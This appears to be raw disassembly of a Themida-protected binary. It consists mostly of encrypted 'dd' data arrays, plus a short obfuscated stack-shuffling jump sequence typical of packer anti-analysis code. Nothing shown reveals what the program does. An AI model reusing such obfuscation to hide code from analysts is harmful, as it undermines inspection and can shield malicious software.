		dd 0B1F55BFBh, 0BCC9862Dh, 3E2A25B8h, 5A5E426Eh, 0BF0Dh
		dd 7CD90C00h, 0E72B2332h, 14074B94h, 0D4C70B3Fh, 9689CD81h
		dd 0E65C8FBFh, 7EED88D4h, 0DE0FADCEh, 1628E8C9h, 59FDE41Ch
		dd 2F60B3F7h, 0C50F3F16h, 286A9A7Dh, 626F1C16h,	0A0C6CE31h
		dd 2894C4A7h, 8C991C16h, 579BB1A3h, 2971BB04h, 16291646h
		dd 0F206131Ch, 227E0808h, 0C84273F3h, 0FD4E0EE5h, 0A546123h
		dd 0E71A3023h, 0D7C981D2h, 0BAC24416h, 0A601FE22h, 3D00000Bh
		dd 0F3083B1Dh, 0A8BDF066h, 586DA0ACh, 0C215400h, 9CD00347h
		dd 25252E3Fh, 0D87ADDF2h, 8AC690A5h, 3B134257h,	5639A308h
		dd 23FF6F26h, 0D96E6F23h, 889DD07Ah, 6D9D80CDh,	8F1C158Eh
		dd 158E7CACh, 0D74811Ch, 984B700h, 8ED27CD9h, 6194BA9Bh
		dd 42C42h, 0A7424700h, 0CA141C32h, 0FF61F9E7h, 0F3697623h
		dd 9535F71h, 0E362F326h, 0EACD152Bh, 1C2360BAh,	0EA81B2BFh
		dd 76AA99DDh, 0DE1C2360h, 3E86044Bh, 23612B5Bh,	0F223301Ch
		dd 0B74D025Ah, 3A2295Dh, 1B2D0000h, 20C0884Ah, 41C0F19Ch
		dd 158EA9DDh, 8F0B301Ch, 798F1C15h, 65442771h, 4A23F998h
		dd 5397B99Dh, 1EC5B700h, 26BAC47Ah, 0ADF0502h, 56040000h
		dd 9FBACF02h, 0E56F84B7h, 391F3467h, 80D3E81Bh,	786397CAh
		dd 0B9EC5EF5h, 6C9FB3A4h, 1E51FF57h, 0CF024C09h, 0ED1D006Ah
		dd 0F223FF6Fh, 7CD93D3Eh, 2E4088D2h, 1FE9CDE3h,	0ABDBC04Eh
		dd 2E1C1673h, 0B5C22929h, 42A1084h, 19271841h, 7ACD113Bh
		dd 4CD38B66h, 175BF163h, 4E317BC4h, 24005A63h, 0AA91DBE8h
		dd 0FD4D06AEh, 0D91D66B9h, 7CF25586h, 0F8DE126Ah, 0E0C3AD93h
		dd 23FF12B0h, 0D57A0ADh, 0FF12FA2Ah, 0C1F2FF23h, 4D9793B5h
		dd 0E8E6836Ah, 0FADD252Bh, 1C15E5CAh, 0B7575122h, 6ED56F04h
		dd 8C993061h, 56FC5B42h, 8265AD23h, 1C165352h, 4194A57h
		dd 1C1653F8h, 0E6191538h, 88CC86D1h, 4A8EC095h,	0FC464264h
		dd 53A1D1B4h, 919E1C16h, 4803E660h, 5B23FA72h, 0A71D5C4Eh
		dd 6387BAC3h, 9F866h, 0E96FEB00h, 9EB8A1B6h, 4EFE566Bh
		dd 252061Bh, 0B199BACFh, 0DC614A7Eh, 8BA0D377h,	3E5386CCh
		dd 0F0053818h, 51B6E965h, 70D404E7h, 25D923FFh,	0FDC0E624h
		dd 4049ABC3h, 7EC8113Fh, 0FFF1B49Bh, 60AAB723h,	4174DE79h
		dd 0E3272B2Ch, 0A1ADA88Fh, 66EE6A5Dh, 5586CF22h, 0E12B2749h
		dd 0E8A513FEh, 478B982Bh, 5F424F61h, 1C161F2Fh,	8CD61F2Ch
		dd 0FA372EA9h, 2F40123h, 0BAC3FA8Dh, 76B6B3D7h,	6D000009h
		dd 23386BEDh, 0D8ED2036h, 889DD07Ch, 3C5184D0h,	0CC003317h
		dd 55F55EEFh, 84A0D22h,	0BA96C0D5h, 6BE37287h, 8669D338h
		dd 23FF7156h, 0D99E9F53h, 9B8ED27Ch, 1B5094BAh,	240B79D6h
		dd 640D2135h, 0A051EABEh, 9DB8D102h, 45A34FE6h,	0BF085F57h
		dd 0E9A0F88Ch, 0ADC75DBAh, 0C6000001h, 7EC8C0E6h, 0F990C89Bh
		dd 5801E823h, 3667BAFEh, 5F4E929Fh, 23F9912Bh, 0C5A8A9AEh
		dd 23F99095h, 448D9Ah, 0EE6A4C0Dh, 86CF2266h, 9FB02542h
		dd 44BDEE2h, 5E9D3068h,	16E375Ah, 0D9360000h, 9B8ED27Ch
		dd 634A94BAh, 0C4175BF1h, 0A8BA3093h, 4A7D0017h, 0A3778B30h
		dd 0E11429E7h, 0E6081445h, 9AB9A0EAh, 0E8196CB0h, 0FBDE266Eh
		dd 1C15D9CBh, 7D92C3D0h, 23F9EE3Ah, 0ABA7B05Dh,	0EDD01862h
		dd 23F9E6BDh, 0E66A6015h, 0D9405D9Fh, 38279BCCh, 23FA8304h
		dd 0EA76D96Ch, 5A5E6BB2h, 3EB9h, 9178B800h, 4D598AC4h
		dd 2E52F3Bh, 23F99803h,	0CE09B3C5h, 0A5CE74FFh,	5A05DD74h
		dd 59F6B015h, 2B1A5EA7h, 23FA00F7h, 0AA798B5Fh,	204B2099h
		dd 2D225B8Ch, 5E246941h, 0B60E5Ah, 0D90D0000h, 9B8ED27Ch
		dd 364892B8h, 7630A55Ah, 1343264Ch, 181C15F4h, 1D91C20Bh
		dd 0DF232B2Ah, 1E469ECh, 1C15F3D1h, 81D8C1CEh, 0F53E91D5h
		dd 508063ABh, 6A1C15F4h, 15F45787h, 0E047541Ch,	2E3FA2D3h
		dd 1C161035h, 2771DD78h, 8391540h, 7F8B9DA5h, 4D06ED35h
		dd 1C66B9FDh, 16080939h, 0C8F9061Ch, 0FCEEDCB3h, 78C2CF23h
		dd 5588C291h, 45371340h, 0BAC1E440h, 0BE1B183Ch, 25000007h
		dd 0DBF02335h, 90A5D87Eh, 405588C4h, 0F4093C18h, 84B8EB5Fh
		dd 0D3D1627h, 0C092C5DAh, 72DE788Dh, 232B2A3Fh,	3E218BF0h
		dd 23FF730Eh, 0D956570Bh, 889DD07Ah, 0D34E81CDh, 8ED27CD9h
		dd 6194BA9Bh, 5442h, 21044C00h,	1C158EF1h, 31B0E1EEh, 9ADC6678h
		dd 5E17BDB2h, 9E8F7D2Dh, 4F368088h, 0A4B0A806h,	80C40D60h
		dd 9F82FC2Dh, 240019B2h, 42AA0ADh, 787096C7h, 0CD5F4B2Eh
		dd 0D7E42BE8h, 69C861h,	8AD20000h, 164677A7h, 8366741Ch
		dd 1C164753h, 0D1024B58h, 0C7C0E652h, 158EB4E4h, 0C3ACB91Ch
		dd 287BBF95h, 67B295DFh, 3923F9A2h, 4A0252h, 0F9A1ED1Dh
		dd 0B4E5F223h, 78CC101Dh, 367A1E30h, 0C844BD0h,	0F9BCF727h
		dd 0B6E7F423h, 0F9AC6CA1h, 2D229723h, 65AFBBCDh, 15643782h
		dd 2C5F6C1Ch, 0C785CFB6h, 0B57396h, 0E6780000h,	977EC8C0h
		dd 0FD5094C2h, 0DB0C4014h, 628F7E61h, 0FF0C23FFh, 11C704E8h
		dd 9CCCAFF7h, 0A123FF61h, 252A6394h, 53701149h,	6D165Ah
		dd 78150000h, 5A8BC591h, 0E630384Eh, 0FF621503h, 768D9A23h
		dd 0C69F5592h, 708DDD89h, 4CAA5A53h, 0A9000000h, 8CC69178h
		dd 0B8C4F548h, 86B69996h, 831C158Eh, 0E32D76h, 23FF6213h
		dd 0C0977E8Ch, 16FB4E92h, 23FF61E6h, 768DD6E3h,	0C69F5592h
		dd 4C8DDD89h, 2CAA5A53h, 0AE000000h, 312391C7h,	3B84D71Bh
		dd 0CD90A4F7h, 0FDEB43ADh, 78FC7BACh, 42783166h, 95273B13h
		dd 8095C691h, 1C166321h, 0FEF7A99Ch, 0E6AEFFFFh, 9B7EC8C0h
		dd 23FF6180h, 250C5663h, 85D81C2Eh, 6899BD9Ch, 0F0F80EF4h
		dd 34D7C3A6h, 0BFCC2BE9h, 7773957Bh, 0BA9DE52Dh, 1C158E8Ah
		dd 3C51828Fh, 23FF6225h, 0F9CDDF27h, 5472CFDEh,	8D0E3E23h
		dd 0FE0B23FFh, 0DF2936CDh, 0ABF561F8h, 8D508063h, 404D23FFh
		dd 82A4AC0Fh, 11F43C86h, 23FF8CE1h, 0BDEDD0DEh,	0C223FF8Ch
		dd 0C13B6CB5h, 0E6C6779h, 0F95B5862h, 0D3CCB3C8h, 0B2BF2BE8h
		dd 0F5D82068h, 1C162FC5h, 0D83F0B48h, 0D5819ACBh, 3837487Bh
		dd 71B43CDBh, 0C1376AE4h, 8CC49279h, 3B9877A7h,	366774B4h
		dd 3215381Dh, 0B43B9902h, 6DB1FA07h, 1F696187h,	5A17D90Dh
		dd 0BF1256FEh, 81E251ABh, 3C596E9Eh, 155E6BB4h,	3B226AE4h
		dd 9CEF3319h, 7C37566Bh, 2734BC20h, 113ED9E3h, 83CD81D4h
		dd 7828583Bh, 1825BBD8h, 0E76F84E7h, 1322BD9Eh,	4F98A047h
		dd 3EA5B70Bh, 29589461h, 134842AEh, 723621FFh, 25312841h
		dd 54AC9E1h, 98E26EE8h,	68ACA6B1h, 6C81E415h, 0BD8DC6EAh
		dd 99DD2679h, 0E576D40Fh, 0F1D41C6Ah, 0BBD7AAC1h, 6780B1BEh
		dd 0B32E61EFh, 85C9C1E6h, 478BC392h, 55331CC3h,	3667E76Eh
		dd 0E86D052Ah, 86CF2266h, 6C173E53h, 8042A5CCh,	0F10851CEh
		dd 3029CF0Dh, 0BB93C21Fh, 0E435545h, 0D8280421h, 3A1F3869h
		dd 9D84D81Ch, 3569ABCh,	808DBDD2h, 5EF91C16h, 0F165F4F1h
		dd 0BA96C0A7h, 0C9B02689h, 7B94C58Fh, 423175DBh, 1C16810Fh
		dd 977D883h, 0D67D3522h, 94DD3074h, 3F14FD50h, 4374C70Bh
		dd 0D0842C2Ah, 0EF00337Ch, 1C16A104h, 6091C1A4h, 818E1C16h
		dd 4D99D038h, 6DA05DBAh, 0A4FFFFFFh, 74B89ABDh,	7871F021h
		dd 0D0D8FA66h, 0F4256B74h, 0A1D47ADBh, 6E85C98Ch, 31A3421h
		dd 8E56A39h, 0A5B7014Dh, 0AD2933A3h, 17BDEEA9h,	0BAA35109h
		dd 44D65Dh, 0E6D50000h,	367EC8C0h, 0CD342C24h, 0D7B3C789h
		dd 0DA84BDE3h, 0C553948Ah, 4A364B7Ch, 3F24005Bh, 0B91E4E31h
		dd 0E1B23FEh, 8CCAAEC5h, 0AD4D02D1h, 0FD458F9Bh, 0DE0F3F16h
		dd 0E88BDDC9h, 4FC5D22Bh, 5AB6h, 0C0E6BB00h, 0F9562D28h
		dd 71EDCF63h, 0CE2165AEh, 6C583B85h, 0E124003Ah, 6AD9BDD4h
		dd 195DF960h, 4DFEC7FBh, 6F58D287h, 0C690C9E7h,	0A2E62F82h
		dd 47440B8Ah, 34C48B68h, 2321512h, 723FF04h, 8467B1FAh
		dd 2BE8D798h, 57F3600Dh, 0C1A8980Eh, 7AA4F398h,	4F460E2Ah
		dd 7856D506h, 8F1D4D30h, 15221C15h, 0C48ACBE4h,	1E42C80h
		dd 1C158ED1h, 0FE228821h, 4FB60465h, 0EC716677h, 29729621h
		dd 0D876DFF8h, 0B482FA5h, 0CBDDFB3Fh, 13A9C143h, 0E4F0216Ah
		dd 997CC6C2h, 23F9E656h, 54226476h, 0BC9CA28h, 0F23643DAh
		dd 0F9EECF03h, 0ABA43723h, 5EFFEFBFh, 608C5Ah, 0E68B0000h
		dd 9B7EC8C0h, 23F9979Ch, 25518A9Ch, 8C4A86B7h, 4EE2FE6Ch
		dd 95C60FD0h, 0C0A7F1FEh, 2546EC93h, 0A55FCCh, 0D38073B7h
		dd 97E03377h, 0CF03F266h, 5223F991h, 0A4A8AC04h, 80C40D60h
		dd 4084C68Dh, 0AD3A15BCh, 1265A9ABh, 1D32C5C9h,	85D1886Fh
		dd 25BDEE41h, 5A5EA075h, 0FEF2h, 7CD9F100h, 0B89B8ED2h
		dd 0A2EB63F2h, 0DFC20A5Eh, 1C158EAFh, 556E9FACh, 170A4E00h
		dd 0CCDD103Eh, 1C159363h, 1F90F362h, 9CB8A024h,	110CC088h
		dd 0D58095C8h, 0CFE13579h, 9981828Bh, 7D89BA43h, 32155F6Bh
		dd 23FA0AEBh, 374993A0h, 1BBFF5C9h, 288BBCFCh, 0EAF8A0B2h
		dd 4399924Eh, 0E8E00612h, 28DEBB9Eh, 0B4C12BE1h, 0F2CC586Ah
		dd 33635DC2h, 0B0D870F2h, 0E7186163h, 7CCD866Dh, 18566999h
		dd 7059661Ch, 0F1246DE9h, 0E1D377DCh, 0C2A5BABAh, 2AA9A6CAh
		dd 0B9000002h, 6F84B7A1h, 24396CEAh, 0D4E91C30h, 889DD084h
		dd 184C7FCBh, 0A1A9AAB3h, 54FE596Eh, 64A0C21h, 0B797BED3h
		dd 0D2B51F84h, 23FF77A2h, 78F2F3A7h, 478BC591h,	32B1E0F4h
		dd 0C4AF9397h, 71D97A93h, 9D194027h, 0FD5094B6h, 0AA2083B4h
		dd 0C6FB5062h, 65355D1h, 168BF121h, 0B0E1EE1Ch,	69F0BE97h
		dd 14A0C4Dh, 780A85B8h,	4589C391h, 93B5C1F2h, 6B6A4D97h
		dd 4D23F998h, 2E5FEF66h, 57468A97h, 23F99823h, 5B9FAFA6h
		dd 7E61EE68h, 23F9984Eh, 0B1F53E4Bh, 58351A99h,	51388054h
		dd 0B1044802h, 0F9979CCCh, 6394A123h, 1149252Ah, 165A5EAAh
		dd 0EAh, 0D27CD915h, 5B107688h,	21DBF076h, 311D38h, 0DF0388Ch
		dd 1C15FADDh, 8BA4D5E2h, 4F3E82C8h, 1C15FFE6h, 0ADE06EE7h
		dd 4D91BD98h, 0FF494167h, 0FA05D51Ch, 83CDDA23h, 4F93B79Ch
		dd 0F268CBFCh, 28C122E0h, 0C4F561A4h, 7ACF96B8h, 0CCF95033h
		dd 2007519Ah, 86D91D39h, 0BCF8DB55h, 0F12BE15Bh, 0A5B39AE4h
		dd 0DB786BAFh, 8FD82B6Fh, 8F326245h, 2A371C17h,	0BB987FF9h
		dd 0C475C8Fh, 5397B79Eh, 1059F560h, 82BCD5C7h, 0C4E8C2A6h
		dd 0E4C7h, 0FD5BFF00h, 0B2A4B5CAh, 62EA6A7Fh, 163E1A2Fh
		dd 0C585CEE3h, 0F07D5E92h, 9FB4E763h, 52679AB8h, 4194C04h
		dd 65CAFD51h, 79E818FBh, 31E523FFh, 0D07AD930h,	0D2ED7486h
		dd 0A0FDFF63h, 7FB09EB7h, 7B5EA61Ch, 1C15EA4Bh,	0F9124350h
		dd 60A8F25Ch, 15EA4D7Dh, 1445521Ch, 917836B1h, 77A78AC5h
		dd 741C158Eh, 0D4ED1E67h, 9689CD81h, 0FD458FBFh, 8EA2D2B5h
		dd 9AA71C15h, 158E85B5h, 4C7D8A1Ch, 0CD81D4E9h,	28583B83h
		dd 251C158Fh, 6F84E718h, 0D61E68E6h, 158EC3F3h,	0D202E51Ch
		dd 0D71C158Eh, 255663CAh, 3C95C2B1h, 3C186D12h,	7CD9CC10h
		dd 0E9848ED2h, 0F89F1966h, 83CB8A57h, 341A3B50h, 0F95BFDF0h
		dd 3F10ABB5h, 519BB3A2h, 1B332209h, 123D0636h, 0C5F6036Dh
		dd 46084D62h, 30502h, 690A0000h, 0D781D93Ah, 99B5A093h
		dd 5CF46255h, 20322518h, 0E06AE9DCh, 0A0AAA99Ch, 65EF695Ch
		dd 26262E21h, 0EC6AEFE2h, 66686AA8h, 54000044h,	8124048Fh
		dd 42404h, 89560000h, 4C681E6h,	83000000h, 348704EEh, 4895C24h
		dd 3B4C6824h, 34890000h, 0BE565524h, 567205A7h,	8102E6C1h
		dd 21BE88C6h, 5EF589AEh, 545DE889h, 8324348Bh, 0EC8304C4h
		dd 24048904h, 8B08468Fh
		db 34h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_598345
; ---------------------------------------------------------------------------
		db 19h,	82h, 0Fh
		dd 125F741Eh, 8032E3F0h, 0EC2FB897h, 0C50307E9h, 26A2E0FFh
		dd 7CA36220h, 0D4F4180h, 67A143BCh, 512D57E1h, 4AEA3144h
		dd 74C313F5h, 0C1634FABh, 23A15EB3h, 5791A02h, 0BE82535h
		dd 0CF000000h, 0E68ABBF8h, 0DAB4037Bh, 0DC80AE3Ah, 810F5FB5h
		dd 0
		dd 66F0C781h, 0D0810000h, 3B40CEC5h, 68h, 0C7CC8000h, 5E85Bh
		dd 8E210000h, 0E93F99E2h, 0Fh, 0E913FCA6h, 0F03C6F4Dh
		dd 0D425C6Dh, 5AEB2641h, 0F1F0C8Bh, 587h, 0CFCEBE00h, 0F181263Eh
		dd 2327ADF3h, 8186BEBAh, 4DC18158h, 666C4A7Fh, 81706DB8h
		dd 26E1E1F1h, 5FE88116h, 512158B6h, 7334CE81h, 48F2891h
		dd 58A0F1Fh, 0BE000000h, 588FC29Fh, 0EB8377B4h,	81C38B04h
		dd 0FF99B4FBh, 0A9850FFFh, 0FFFFFFFh, 28Bh, 0E9D78B00h
		dd 12h,	550A24F7h, 7C809E01h, 2	dup(0)
		dd 0C9E90000h, 6800000Dh, 7E9EF2Dh, 0FA904AE9h,	0F07668FFh
		dd 40E907E9h, 68FFFA90h, 7E9F1F3h, 0FA9036E9h, 0F30268FFh
		dd 2CE907E9h, 68FFFA90h, 7E9F497h, 0FA9022E9h, 0F6D168FFh
		dd 18E907E9h, 68FFFA90h, 7E9F8C3h, 0FA900EE9h, 0F9C168FFh
		dd 4E907E9h, 4EFFFA90h,	0AAC05476h, 71DB1D1h, 677D112Bh
		dd 0CAE07488h, 663FD3EFh, 0D0ECC780h, 2E4C263Ch, 90A6849Ah
		dd 0F109E6FCh, 7DFAAA5Dh, 13AB4D86h, 56800F54h,	5B296179h
		dd 0B3D2667Eh, 582D2DCh, 13A6B38Bh, 7B2860C9h, 13A6B480h
		dd 4B0E3647h, 0B4976CE9h, 0DA4313A6h, 4759714Eh, 7809936Ch
		dd 8D6705D8h, 109C376Fh, 48E31B33h, 569736h, 92C00000h
		dd 0A0CCB330h, 218A1442h, 4A3EC0Fh, 42A7829h, 0AFFF58C0h
		dd 0B5D0AF4Dh, 7F5EACFBh, 0AAE23B62h, 4E04FD0Fh, 0C13A60Ch
		dd 3DBE6BA3h, 8A13A60Eh, 6E91CD79h, 28D87763h, 2B249C6h
		dd 0C02013A6h, 0A602BC43h, 58B11A13h, 0A1D9EDCCh, 0B655F406h
		dd 7E000000h, 29617956h, 2C64805Bh, 1072815Eh, 42A0EC93h
		dd 96016A14h, 1442A0E1h, 0A363FD6Dh, 2C9D8056h,	74427AD3h
		dd 0F6EB7F97h, 1442F6D4h, 0D66A825Fh, 93CBE3C0h, 8BDBD3BCh
		dd 0A6E3140Eh, 5DF15A13h, 0D5D513Eh, 40221F90h,	0DCB75314h
		dd 8BC620B9h, 4099B983h, 0C4146D08h, 0CFE7C462h, 0ACC8A3BDh
		dd 0B270218h, 352519B7h, 3AC00062h, 0B8Bh, 0F589AB83h
		dd 52E606DFh, 0B246603Ch, 15A9BD9Ch, 740824FFh,	21FC559Bh
		dd 815B7105h, 0DBB9CF63h, 3E1B31C5h, 2FDF9226h,	0AB4FCDB2h
		dd 0B5448913h, 0F5F7B56h, 67799771h, 3A522F45h,	56704CEAh
		dd 4F71831Eh, 0E720927Eh, 42C1202Dh, 0C3CCEF01h, 0AD8077F4h
		dd 0E54E1442h, 0FB0AF885h, 0F952765Ch, 68E547A9h, 14429093h
		dd 0AF76D63Fh, 0C8FE9423h, 551B1426h, 2313A6EBh, 5A92AA87h
		dd 812E66BFh, 13A6EBFEh, 0EB233D19h, 0F22A3E1Dh, 1D55118Eh
		dd 0C9F0B4C5h, 0EB15EA67h, 58C113A6h, 0C6946B46h, 0A002D877h
		dd 0A6E75C23h, 7F91FA13h, 0E3E0h, 79560900h, 25972961h
		dd 0DF5CFD09h, 1442D718h, 49ED4DB6h, 0FB13F0BEh, 0BDCF28C3h
		dd 74ACC8A3h, 4282E5C7h, 3B533014h, 0EE6BCDA7h,	14428A09h
		dd 304A5CC5h, 2C033B53h, 99FB4B63h, 0CE061EFBh,	8A33C833h
		dd 369F1442h, 4FC94624h, 1513A69Eh, 0E553CEA5h,	1DB8F008h
		dd 1C5C99BDh, 0A6CED89Fh, 0B40D7613h, 0E7A8C75Bh, 0DEFA77C7h
		dd 0AC144028h, 7855F343h, 0F517EC69h, 5AC31B89h, 58B6A101h
		dd 9FD7BDF1h, 3611AF8Dh, 9570861Ah, 0E4B52579h,	38786234h
		dd 0A42B2h, 0D2F4CC00h,	2F4F283Eh, 8FA9859Bh, 0F206E5FBh
		dd 516D485Eh, 451EE4BDh, 0A4BA4E6Ah, 218ACCAh, 647A0E24h
		dd 28DB6F87h, 5004FB78h, 8DD213ABh, 687B56FEh, 42A014EBh
		dd 0E68DB314h, 8C45B4ECh, 6A46D23Bh, 4D63F750h,	0F3C45870h
		dd 11617956h, 437B9973h, 2D096A8h, 5A790D25h, 0FAD27235h
		dd 538BA983h, 232C58B8h, 953383DCh, 0AC8A9CBCh,	0A60A592Fh
		dd 76AE1713h, 0A60A37C9h, 0C1859613h, 7773629Dh, 65C73D8h
		dd 4D9C0000h, 9F1C6C42h, 13A68B21h, 21CE066Fh, 13A68C5Eh
		dd 0F4A8DCEDh, 0D877F10Bh, 0FC10EF8Dh, 437B9370h, 33F796A8h
		dd 20000006h, 0CCB33092h, 4F1442A0h, 88235B71h,	99BCCE37h
		dd 0BF44C1F6h, 1B1442A0h, 8C0959B2h, 13A6A6D6h,	36E31B84h
		dd 13A6A645h, 0CEA7F0CEh, 82DB76AEh, 83A37C4Ah,	0E2B1A94Bh
		dd 7C1C84FCh, 0C48CB87Fh, 732B5B6Ch, 0D877B38Ch, 5E549h
		dd 0C7457200h, 50A00E81h, 0A68C05D3h, 0F673D313h, 13A68C01h
		dd 20B64CDh, 0B3A5EDF7h, 8E206F9Fh, 0B76ADC3Eh,	617D5845h
		dd 0EB2E8E29h, 0DFBB47EAh, 5CBAB3C5h, 2B805F9Eh, 8597B18Dh
		dd 0E42B0AA6h, 3992EB0Bh, 54704BE9h, 0A96F811Ch, 0A1F1BDD2h
		dd 7BDA8724h, 1A6AD388h, 7183A37Ch, 18F593h, 1C3612B0h
		dd 654D42E4h, 1D9689CAh, 7A90B2C4h, 0B331859Dh,	8ECE3E6Ch
		dd 8C5C84Eh, 71490000h,	0CCA5BB4Fh, 260218ACh, 8362780Ch
		dd 0EAC5DB6Fh, 9B613ACEh, 37CBE7C2h, 95294721h,	0F78BA17Fh
		dd 58EC04E1h, 8378F5A5h, 4F13AB51h, 30927B0Ah, 42A0CCB3h
		dd 0F218A14h, 8C0918F5h, 1442A0F7h
dword_5E16C0	dd 906EFA63h, 4EA7427Ah, 5E503F16h, 4D7B910Eh, 90F913ABh
					; DATA XREF: Themida_:00583974o
		dd 4E4407FCh, 0AB0213ABh, 92263E1Bh, 0E6F846B8h, 5E01647Dh
		dd 4668294Ch, 568A79F6h, 0EF5813ABh, 0F40CE9B7h, 56806B60h
		dd 351313ABh, 98758B1Fh, 56770C89h, 7AE313ABh, 433CE921h
		dd 0C1EC54A6h, 3A17063Eh, 9B788E22h, 0DD9E4B83h, 4D13AB56h
		dd 198BCE76h, 0BFCED0A3h, 2F495B0Ah, 0CCA63A52h, 5416ED6Ah
		dd 5BC413ABh, 13C7749h,	56060000h, 38522E79h, 0FBD9A7DFh
		dd 623AADDEh, 0FCD7BE46h, 0DE2E87E0h, 178FF7Ch,	6DD61442h
		dd 13E8955Bh, 84144201h, 80578FA7h, 542BA80Fh, 2144201h
		dd 17708A66h, 9BF16EBEh, 5913ABECh, 0A4529CF0h,	0C3036A15h
		dd 7B63Dh, 5E805800h, 0BBDBB4CAh, 1B351127h, 7E927187h
		dd 0DDF9D4EAh, 0D18A7049h, 3046DAF6h, 8EA43856h, 0F0069AB0h
		dd 0B467FB13h, 53F08704h, 195E13ABh, 2E79568Ah,	0A6DE3753h
		dd 4E35B214h, 0C1442A0h, 9C7791A3h, 0B012EC80h,	42A04C33h
		dd 0DAF2CF14h, 4DB607A2h, 2D43213Bh, 8EA68399h,	0ADC1A03Eh
		dd 8863799Bh, 310D6039h, 0EB44DF17h, 0A19D11B3h, 42E7D2B8h
		dd 8A5890E9h, 1D5B93AFh, 522D1054h, 34CBA236h, 62E05B76h
		dd 94CCEAC4h, 1348E7F9h, 68000000h, 9DD5EDCAh, 9E1BF002h
		dd 82h,	92A88624h, 0F492AB80h, 2BC6FE18h, 0A22FF19h, 0B05A25D2h
		dd 0E4BD1442h, 0E5BE8CC4h, 864F8DC5h, 461D92DEh, 2A421F1Eh
		dd 8CA28096h, 5549CA3Ch, 0F8F44CD6h, 2C8E20E6h,	42F0C8AFh
		dd 911D8614h, 0C66199B7h, 0F0C1BBB4h, 3FC01442h, 243A1807h
		dd 7856BF90h, 7E5C2A62h, 39B61868h, 1442A042h, 0CF95A710h
		dd 0A19CC891h, 2419ADC3h, 1442A8C6h, 14BF3F8Ch,	9C18E05Ch
		dd 41FFFFFEh, 3399Eh, 20922D00h, 0A27E5C71h, 55B55088h
		dd 3244149Ah, 0EB233B18h, 429DAD3Eh, 0F6AE7514h, 2C4C25C3h
		dd 2D4759F4h, 4AE83850h, 8C1E566Ch, 429D680Fh, 247DE614h
		dd 8FA1BD98h, 627A576Dh, 9D927D2Ah, 48251442h, 6E21F830h
		dd 2C8EF040h, 429DC8AFh, 0B1D8614h, 0AB70FC12h,	9D1A7A13h
		dd 13A88AE6h, 973DD465h, 87D86DAAh, 8771C51Eh, 0E26A162Fh
		dd 6211CA2h, 15ED0000h,	70495FF3h, 0CAA6BC50h, 27061CB0h
		dd 8E697F13h, 0FF05DE72h, 0DB6F8B66h, 39CDEBC5h, 9B2F4523h
		dd 0FC90A885h, 671C9949h, 0F313AB54h, 79561FAEh, 805B2961h
		dd 0DDBAD064h, 401B31C5h, 431EEC24h, 0E8B1EF27h, 0CAE6C1BCh
		dd 1DA05F36h, 6F35E05Ch, 5E000002h, 326A444Dh, 0AC5E1485h
		dd 762E3FEAh, 38D0D143h, 0F86D226Bh, 0D1F40BE6h, 4FE1E16Dh
		dd 1000002h, 76B05F8Fh,	1628513Ch, 6A444D41h, 0A0E69D1Ah
		dd 0B741442h, 5EBB26D3h, 0CFE0EAACh, 1E18E797h,	27BDE16Dh
		dd 0E6000002h, 1A6A444Dh, 42A0EA9Dh, 0BF0F7814h, 0A01BE05Dh
		dd 4EB71442h, 82E4763Ch, 42A07E05h, 6173DC14h, 0AC5E7968h
		dd 551122EAh, 6D1ED629h, 1F4FFE1h, 4D280000h, 9D1A6A44h
		dd 1442A0EEh, 2EDB137Ch, 0EAAC5EA3h, 1BF896E8h,	1E30CB03h
		dd 6699C581h, 6FE16D1Eh, 1CEh, 61795698h, 337E5B29h, 3A084054h
		dd 720D455Dh, 0D2CC019h, 0BB973582h, 0A04136A1h, 0A40D1442h
		dd 2799FB4Bh, 44200ED9h, 19F88437h, 0F0FAF305h,	0BE13A670h
		dd 8F701D55h, 3C13A677h, 0A2407B2Bh, 0D974ACC6h, 4613ECC7h
		dd 2385D877h, 0A67FD1A6h, 2147D13h, 7E63h, 424D8C00h, 51DD8E65h
		dd 67C0F21Eh, 0B4D49A17h, 42A213A6h, 0A6873EC5h, 0E3339C13h
		dd 0A6879166h, 7BD43D13h, 0A1B08D2Bh, 0A6875F24h, 3992FB13h
		dd 8E546601h, 0A6871EE1h, 839D7913h, 86A27D4Bh,	0BAEA6D4Eh
		dd 0AE4C9EF6h, 0B381B9D1h, 0EA85BDD7h, 0A2E27F91h, 0F22395F7h
		dd 0C8DD3144h, 0FD2FD43Fh, 42AB13A6h, 8AC2D8B6h, 0FD02DDEFh
		dd 0DAD877B4h, 0C2h, 63835CFAh,	68805D2Bh, 5628FD0Fh, 5B296179h
		dd 5E2C6480h, 63316981h, 0DA6E86h, 0C41B9F8Eh, 4237B047h
		dd 55B51E14h, 7AF76344h, 1442AC85h, 7D8FE851h, 42A82A84h
		dd 110ED14h, 42B1FF84h,	99F25B14h, 5A9E605h, 233917B5h
		dd 98B63311h, 0E613A456h, 2DCB2D7Dh, 64712D54h,	0C7503FC4h
		dd 67425C6Eh, 0CB243A18h, 2A462137h, 19C42CD6h,	8B11516Ah
		dd 3E7h, 992D4F27h, 0F68AAA83h,	56EA04E0h, 0B94D6140h
		dd 18ACC8A3h, 0C5A0B93Fh, 25FF15A9h, 7F5D7307h,	0E2BFD569h
		dd 0D38336CAh, 0AB56A156h, 59E82D13h, 0F5F7B56h, 0A04B30ADh
		dd 9E071442h, 13CA9E3Eh, 57699643h, 2A421F35h, 3092C596h
		dd 42A0CCB3h, 0D747B14h, 6FD6A963h, 89A3B51Eh, 8E5C94ACh
		dd 100599B1h, 1442C16Eh, 2AC8EFA0h, 33C8334Fh, 9F1442C1h
		dd 0B3CFAA36h, 3787E07Bh, 91A3BD99h, 0D98836B3h, 6DD613A6h
		dd 795608D9h, 7E5B2961h, 53D5733h, 0EB445837h, 57D04292h
		dd 160AF0C1h, 0DCB6D8EAh, 0AA06FD7Ah, 0BE991442h, 0D6E851A2h
		dd 82D2DCB3h, 0A893BB10h, 0DD78B0CEh, 0D0E4D67Dh, 6963E0BEh
		dd 2713A617h, 3F98AC8Bh, 18A15A07h, 17F213A6h, 19F5C3FBh
		dd 0D1324F8h, 0CB24E40Ah, 772FB293h, 92D2E33Bh,	0D88D75E7h
		dd 27434770h, 59C53A15h, 4E12D877h, 32000000h, 0BFB846C0h
		dd 8B9D3E1Fh, 75424DB6h, 42A003F8h, 0D66CF14h, 0A98A40BDh
		dd 0DF4813A6h, 0CBB02D8Fh, 8713A6A9h, 99460C1Eh, 13A6A9E6h
